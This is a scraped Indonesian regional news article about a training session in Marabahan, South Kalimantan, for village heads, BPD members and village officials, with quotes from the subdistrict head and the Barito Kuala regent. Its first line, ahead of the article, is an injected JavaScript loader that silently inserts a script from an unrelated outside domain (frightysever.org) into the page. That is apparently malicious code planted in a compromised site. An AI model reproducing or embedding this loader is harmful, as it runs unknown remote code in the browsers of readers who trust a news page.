(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN– Kecamatan Marabahan melakukan pelatihan peningkatan kapasitas kepala desa (kades), BPD, dan perangkat desa. Kegiatan ini berlangsung di Hotel Pop Banjarmasin dan dibuka Bupati Barito Kuala (Batola) Hj Noormiliyani AS.
Pelatihan juga dihadiri Kepala Dinas (Kadis) PMD Batola Mochammad Aziz, Camat Marabahan Eko Purnomo Sakti, dan para kades, dan perangkat desa se-Kecamatan Marabahan.
Camat Marabahan, Eko Purnomo Sakti menyampaikan, kegiatan ini digelar sebagai upaya memberikan pemahaman tupoksi dan peran kades, BPD, dan aparat desa.
“Ini penting sebagai upaya peningkatan sinergitas kades, BPD, dan aparat desa dalam membangun desanya masing-masing,” terang Eko Purnama Sakti.
Baca juga : Datangi Lima Pasar di Balangan , Alat Ukur Timbang Takar Ditera Ulang
Pelatihan yang berlangsung 4 hari sejak 24 hingga 27 November 2021 diikuti 40 peserta. Camat yang akrab disapa Eko ini juga menyampaikan capaian vaksinasi di Kecamatan Marabahan untuk KPM penerima BLT yang berjumlah 536 orang telah mencapai 91 persen.
“Sisanya adalah mereka yang berhalangan secara medis dan yang lanjut usia. Sehingga memang tidak bisa divaksin,” tambahnya.
Bupati Batola Noormiliyani menyampaikan, pelatihan ini penting untuk diselenggarakan. Untuk itu ia berharap, melalui pelatihan menjadi langkah awal kerjasama yang sinergis bagi semua pihak.
“Sinergitas ini sangat penting dalam upaya menciptakan sekaligus meningkatkan kapasitas pengelolaan pemerintahan dan pembangunan desa sesuai visi misi pembangunan desa sekaligus mendukung visi misi daerah,” ucapnya.
Baca juga : Soal Kafe ‘Nakal’ di Trikora, Wali Kota: Izinnya Kafe Tapi Aktifitas Diskotik
Bupati perempuan pertama di Kalsel ini berpesan yang terpenting dalam pemerintahan desa adalah bagaimana meningkatkan kesejahteraan masyarakat dan meningkatkan daya saing desa.
“Saya berharap kepada BPD, Kepala Desa, dan perangkat desa dapat memahami regulasi dalam melaksanakan pembangunan desa. Mengingat besarnya dana desa yang harus dikelola,” terangnya. (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.